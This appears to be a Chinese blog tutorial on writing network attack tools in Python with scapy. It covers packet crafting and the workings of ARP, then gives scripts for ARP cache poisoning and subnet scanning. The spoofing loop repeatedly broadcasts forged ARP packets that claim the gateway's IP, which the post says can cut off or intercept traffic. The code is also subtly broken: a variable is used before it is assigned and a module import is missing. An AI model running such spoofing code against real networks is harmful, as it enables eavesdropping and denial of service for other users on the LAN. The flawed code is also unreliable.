py網路工具程式設計

f0r9發表於2024-10-25

從各項網路協議開始瞭解 分析其用途以及攻擊價值 透過py構造資料包自動化的實現攻擊過程

scapy模組:

該模組非常強大 可以構造絕大部分資料包:
image
image
上圖構造了一個tcp的資料包 其分片為零 協議為tcp
image
再次構造一個資料包 透過呼叫show()檢視預設構造資料包結構
image
如何對資料包的屬性值進行修改呢,其實很簡單
image
在括號中傳入對應的值即可

image
嘗試構造一個ping的資料包

資料包發出後 ping這個變數被賦值為該資料包的回包

1 ARP協議:

用於多路訪問網路的實體地址獲取
典型的多路訪問網路如乙太網中 arp用於mac地址的獲取
多點幀中繼網路中的 反向arp用於dlci的獲取
mgre多點接入的通用路由封裝中的 nhrp用於真實ip的獲取

arp資料包結構
arp請求
image

arp響應
image

型別號為0806
顯然第一個請求包是已知對端的mac的 這是由於本機存在目標的arp快取
在多路訪問的網路中需要邏輯地址和硬體地址的對映 mgre在封裝外層頭部時會進行nhrp詢問對端的真實的ip地址

在每個主機的內部會維持一個arp表項
image

arp的攻擊面在於其發包方式為廣播 且不進行身份認證 換言之 我可以瘋狂發包 將閘道器的mac地址指向不存在的地址或者為本機地址 實現阻斷或者監聽資料包的效果:

from scapy.all import *
import socket

des_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())

def arp_redirector():
    p1=Ether(dst="ff:ff:ff:ff:ff:ff",src=loacl_mac)/ARP(pdst=des_ip,psrc="192.168.0.1")
    for i in range(6000):
        sendp(p1)
        time.sleep(0.1)

或者arp不斷修改請求物件的ip地址 觀察有無回包實現同網段的地址掃描:

from scapy.all import *
import socket

des_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())

def arp_scan():
    res=[]
    result = srp(Ether(src=loacl_mac,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=des_ip),iface='Intel(R) Wi-Fi 6E AX211 160MHz',timeout=2)
    ans,_=result
    print(f'主機存活情況為{len(ans)}\n')
    for _,i in ans:
        res.append([i[ARP].psrc,i[ARP].hwsrc])
    for ip,mac in res:
        print(f"ip:{ip}     mac:{mac}")

image

相關文章